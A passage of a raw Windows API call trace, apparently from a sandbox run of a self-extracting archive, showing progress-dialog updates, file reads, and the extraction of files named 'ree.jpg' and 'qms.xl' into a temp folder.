Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.459] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.459] GetTickCount () returned 0x1fbbc [0068.459] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.459] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.460] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.460] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.460] GetTickCount () returned 0x1fbbc [0068.460] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.460] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.460] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.460] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.460] GetTickCount () returned 0x1fbbc [0068.460] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.460] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.460] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.460] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.460] GetTickCount () returned 0x1fbbc [0068.460] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.460] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.460] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.460] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.460] GetTickCount () returned 0x1fbbc [0068.460] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.460] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.460] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.460] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.460] GetTickCount () returned 0x1fbbc [0068.460] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.460] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.460] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.460] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.460] GetTickCount () returned 0x1fbbc [0068.460] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.460] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.460] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.460] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.460] GetTickCount () returned 0x1fbbc [0068.460] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.460] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.460] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.460] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.460] GetTickCount () returned 0x1fbbc [0068.461] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.461] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.461] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.461] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.461] GetTickCount () returned 0x1fbbc [0068.461] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.461] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.461] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.461] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.461] GetTickCount () returned 0x1fbbc [0068.461] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.461] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.461] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.461] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.461] GetTickCount () returned 0x1fbbc [0068.461] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.461] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.461] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.461] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.461] GetTickCount () returned 0x1fbbc [0068.461] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.461] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.461] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.461] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.461] GetTickCount () returned 0x1fbbc [0068.461] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.461] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.461] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.461] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.461] GetTickCount () returned 0x1fbbc [0068.461] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.461] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.461] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.461] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.461] GetTickCount () returned 0x1fbbc [0068.461] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.461] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.461] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.461] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.461] GetTickCount () returned 0x1fbbc [0068.461] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.461] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.461] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.462] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.462] GetTickCount () returned 0x1fbbc [0068.462] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.462] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.462] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.462] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.462] GetTickCount () returned 0x1fbbc [0068.462] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.462] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.462] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.462] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.462] GetTickCount () returned 0x1fbbc [0068.462] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.462] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.462] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.462] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.462] GetTickCount () returned 0x1fbbc [0068.462] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.462] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.462] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.462] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.462] GetTickCount () returned 0x1fbbc [0068.462] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.462] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.462] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.462] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.462] GetTickCount () returned 0x1fbbc [0068.462] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.462] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x1f9, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x1f9, lpOverlapped=0x0) returned 1 [0068.463] GetTickCount () returned 0x1fbbc [0068.463] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.463] SetFilePointer (in: hFile=0x1c, lDistanceToMove=872659, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd50d3 [0068.463] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.463] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.463] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.463] CloseHandle (hObject=0x138) returned 1 [0068.464] SetFileAttributesA (lpFileName="ree.jpg", dwFileAttributes=0x20) returned 1 [0068.464] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd50d3 [0068.464] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.464] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x24, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x24, lpOverlapped=0x0) returned 1 [0068.464] OemToCharA (in: pSrc="qms.xl", pDst=0x179cc0 | out: pDst="qms.xl") returned 1 [0068.464] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="qms.xl", cchCount2=1) returned 1 [0068.465] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="qms.xl", cchCount2=6) returned 1 [0068.465] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="qms.xl", cchCount2=-1) returned 1 [0068.465] SetFilePointer (in: hFile=0x1c, lDistanceToMove=872702, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd50fe [0068.465] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="qms.xl") returned 7 [0068.465] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x418eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.465] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting qms.xl") returned 17 [0068.465] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting qms.xl") returned 1 [0068.465] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.465] OemToCharBuffA (in: lpszSrc="q", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="q") returned 1 [0068.465] CharToOemBuffA (in: lpszSrc="Q", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="Q") returned 1 [0068.465] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="qms.xl") returned 7 [0068.465] FindFirstFileW (in: lpFileName="qms.xl", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.465] GetLastError () returned 0x2 [0068.465] GetFileAttributesA (lpFileName="qms.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\qms.xl")) returned 0xffffffff [0068.465] CreateFileA (lpFileName="qms.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\qms.xl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.466] GetFileType (hFile=0x138) returned 0x1 [0068.466] SetFilePointer (in: hFile=0x138, lDistanceToMove=520, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x208 [0068.466] SetEndOfFile (hFile=0x138) returned 1 [0068.466] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.466] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1a7, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1a7, lpOverlapped=0x0) returned 1 [0068.466] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.467] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.467] GetTickCount () returned 0x1fbbc [0068.467] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.467] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.467] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.467] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.467] GetTickCount () returned 0x1fbbc [0068.467] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.467] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.467] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.467] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.467] GetTickCount () returned 0x1fbbc [0068.467] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.467] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.467] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.467] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.467] GetTickCount () returned 0x1fbbc [0068.467] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.467] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.467] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.467] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.467] GetTickCount () returned 0x1fbbc [0068.467] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.467] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.467] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.467] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.467] GetTickCount () returned 0x1fbbc [0068.467] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.467] ReadFile (in: hFile=0x1c, lpBuffer=0x27042f, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042f*, 